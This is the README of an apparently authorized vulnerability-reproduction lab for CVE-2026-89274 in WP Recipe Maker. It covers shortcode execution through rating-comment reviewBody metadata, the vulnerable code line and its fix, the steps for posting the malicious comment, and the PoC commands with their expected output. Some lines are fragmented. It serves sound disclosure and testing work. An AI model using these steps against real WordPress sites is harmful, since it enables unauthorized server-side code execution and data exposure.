针对 CVE-2026-89274 的 Docker 验证实验环境与 Python PoC,证明在 WP Recipe Maker <= 10.8.1 中可通过 rating-comment reviewBody 执行任意短代码。
用于复现和验证 CVE-2026-89274 的安全研究材料: WP Recipe Maker <= 10.8.1 会在 recipe JSON-LD 元数据中执行任意已注册的 WordPress 短代码, 这些短代码通过一条已批准的评分评论植入。
do_shortcode_safe)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) - CWE-94仅在您拥有或明确授权测试的系统上使用。 该 PoC 会发布一条评分评论,其中包含一个实验室注册的标记短代码。 不使用破坏性短代码,也不会向磁盘写入任何内容。
状态:在所提供的实验室中已证实。
WP Recipe Maker 10.8.1(WordPress 7.1.2,默认 recipe-card 模型):
comment posted : "[cve89274]" + wprm-comment-rating=5 on the recipe's parent post
result : JSON-LD on the rendered page contains
"reviewBody":"CVE89274-SHORTCODE-FIRED"
(marker shortcode executed server-side at render time)
10.8.2 : shortcode stripped, marker absent (patched negative control)
这证明了任意已注册短代码的服务器端执行,其输出嵌入在页面元数据中,并披露给每一位访问者。它并未证明 RCE;影响取决于目标上注册了哪些短代码(文章/元数据暴露、带有副作用的插件提供的短代码)。
WPRM_Metadata::sanitize_metadata() 会递归清理 recipe 结构化元数据数组中的每个标量字段:
// includes/public/class-wprm-metadata.php:553, WP Recipe Maker 10.8.1
$sanitized = strip_shortcodes( wp_strip_all_tags( do_shortcode( $metadata ) ) );
// 10.8.2
$sanitized = strip_shortcodes( wp_strip_all_tags( WPRM_Instacart::do_shortcode_safe( $metadata ) ) );
do_shortcode() 会先执行短代码;strip_shortcodes() 包装器只会从已执行的输出中移除标签。其中一个字段 reviewBody 会逐字地从带有 wprm-comment-rating 元值的已批准评论的 comment_content 填充(class-wprm-metadata.php:1016),并针对 recipe 的 父文章 进行查询(post_id => $recipe->parent_post_id(),第 973 行)——即嵌入 recipe card 的文章或页面。
10.8.2 的替代方案 WPRM_Instacart::do_shortcode_safe()(class-wprm-instacart.php:501)仅保留内部内容,不执行任何操作。
[wprm-recipe] 的文章/页面)。/wp-comments-post.php POST 一条评论,正文中包含该短代码,并附带 wprm-comment-rating=5。review 数组中,并且 sanitize_metadata() 会执行该短代码。其输出会替换 reviewBody 中的评论文本,对每一位访问者可见。要求:主机上安装 Docker 与 Compose v2、Python 3.10+。
./lab verify
构建 10.8.1 实验室,要求标记触发,然后构建 10.8.2 实验室并要求其不存在。使用 ./lab reset 移除所有内容。
易受攻击的对照组:
[!!!] SHORTCODE EXECUTION CONFIRMED
evidence: 'CVE89274-SHORTCODE-FIRED' present in the rendered recipe page
context : ..."reviewBody":"CVE89274-SHORTCODE-FIRED","author":...
RESULT: VULNERABLE CONTROL CONFIRMED
已修补的对照组:
[=] shortcode text present but NOT executed: output was stripped
RESULT: PATCHED CONTROL CONFIRMED
标记仅出现在页面中显示的评论(原始文本)内,不被接受为证据;该标记必须作为已执行的输出出现在元数据中。
./lab start vulnerable # 10.8.1 lab on http://127.0.0.1:9482
./lab test # assert marker fires
./lab start patched # 10.8.2 lab
./lab test # assert absence
./lab status
./lab reset
手动运行 PoC(默认回环地址;授权的 外部目标需要显式覆盖):
python3 poc/poc_cve_2026_89274.py --url http://127.0.0.1:9482 --post-id 5
python3 poc/poc_cve_2026_89274.py --url https://target.example \
--allow-authorized-non-loopback [--insecure]
nuclei 模板(nuclei/cve-2026-89274.yaml)仅是一个版本筛查(readme.txt 稳定标签 <= 10.8.1)。行为链需要提交评论以及批准状态转换,这在 nuclei 中不切实际;Python PoC 执行完整流程。
| 版本 | 评估 |
|---|---|
| WP Recipe Maker 10.8.1 | 短代码执行已端到端复现 |
| WP Recipe Maker 10.8.2 | 已修补的对照组已复现 |
| WP Recipe Maker <= 10.8.0 | 根据公告受影响;未单独测试 |
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│ └── cve-2026-89274.yaml
└── poc/
└── poc_cve_2026_89274.py
未提交:assets/(插件 zip 文件)、.lab-state、__pycache__/。
| 声明 | 状态 |
|---|---|
| 通过评分评论 reviewBody 执行短代码 | 已证实(10.8.1) |
| 执行输出在渲染的 JSON-LD 中披露 | 已证实 |
| 已修补的对照组(10.8.2) | 已证实 |
| 默认配置(私有 recipe CPT + 父文章) | 已证实(即本实验室拓扑) |
| 公开 recipe 文章类型配置 | 未测试 |
| WPRM 自身的评分 REST 端点作为替代入口 | 未测试 |
| 超出已注册短代码输出的影响(RCE) | 未声称 |
仅在您拥有或明确授权测试的系统上运行此仓库。实验室驱动程序拒绝除 vulnerable/patched 之外的变体,PoC 拒绝非回环目标,除非提供 --allow-authorized-non-loopback,并且 Compose 端口绑定到 127.0.0.1。
有关披露处理,请参阅 SECURITY.md。此仓库不包含生产目标、客户数据、访问令牌或来自真实系统的证据。
MIT - 请参阅 LICENSE。